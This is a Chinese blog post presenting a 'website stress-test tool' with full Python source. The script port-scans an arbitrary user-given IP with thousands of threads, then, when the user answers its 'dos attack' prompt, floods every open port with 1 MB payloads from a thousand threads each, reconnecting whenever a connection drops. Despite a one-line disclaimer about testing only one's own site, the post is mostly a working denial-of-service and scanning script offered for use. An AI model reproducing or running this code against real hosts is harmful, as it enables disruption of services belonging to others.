摘星团团—最可爱的博客,可爱即正义

网站压测工具(附源码)

cutetuan
3月9日发布
温馨提示:
本文最后更新于2025年03月09日,已超过62天没有更新,若内容或图片失效,请留言反馈。

源码

import socket
import threading
import time
import os
import sys

vlprt = []
scndcnt = 0
attthrdcnt = 0
a4tl = 0

ip = input("请输入ip-> ")
nedatt = input("是否需要dos攻击(输入y来攻击 输入其他无效)-> ") == "y"
lopatt=input("是否需要循环压测:一个进程炸了重新链接继续压(输入y来确认 输入其他无效)") =="y"
thrdcnt = 2 ** 14 #扫描时使用几个进程
thrdprprt=1000 #攻击时每个端口几个进程

def scan(ip, start, stop):
    global scndcnt
    s = socket.socket()
    for p in range(start, stop):
        scndcnt += 1
        print(f"{vlprt} {scndcnt}/65536")
        try:
            s.connect((ip, p))
            vlprt.append(p)
            s.close()
            print(f"{vlprt} {scndcnt}/65536")
            vlprt.sort()
        except:
            continue

def attack(ip, prt, size):
    global attthrdcnt,a4tl
    s = socket.socket()
    try:
        s.connect((ip, prt))
    except:
        attthrdcnt -= 1
        return
    while True:
        try:
            s.send(("a"*size).encode("utf-8"))
            a4tl+=size
        except:
            s = socket.socket()
            s.connect((ip, prt))
            continue

print("开始扫描")
for i in range(thrdcnt):
    threading.Thread(
        target = lambda: scan(ip, int(65536 / thrdcnt * i + 1), int(65536 / thrdcnt * (i + 1) + 1))).start()
while(scndcnt!=65536):
    time.sleep(0.1)

print(f"端口扫描完成:{vlprt}")
os.system("pause")
if(not nedatt): sys.exit(0)
for i in range(3,-1,-1):
    print(f"3秒后开始攻击: {i}")
    time.sleep(1)
for p in vlprt:
    for i in range(thrdprprt):
        attthrdcnt+=1
        threading.Thread(
            target = lambda :attack(ip,p,1024*1024)).start()
while(attthrdcnt):
    print(f"有{attthrdcnt}个进程正在压测 压测了{a4tl/1024/1024}MB")
os.system("pause")
sys.exit(0)

使用注意及声明

此工具仅限测试自己的网站,请勿用于违法用途!

如果使用时报错了,请先行询问AI谢谢。

感谢Sheep提供的源码,不得二次售卖!

转载请保留原文链接~

© 版权声明
THE END
喜欢就支持一下吧
点赞 0 分享 赞赏
评论 抢沙发
取消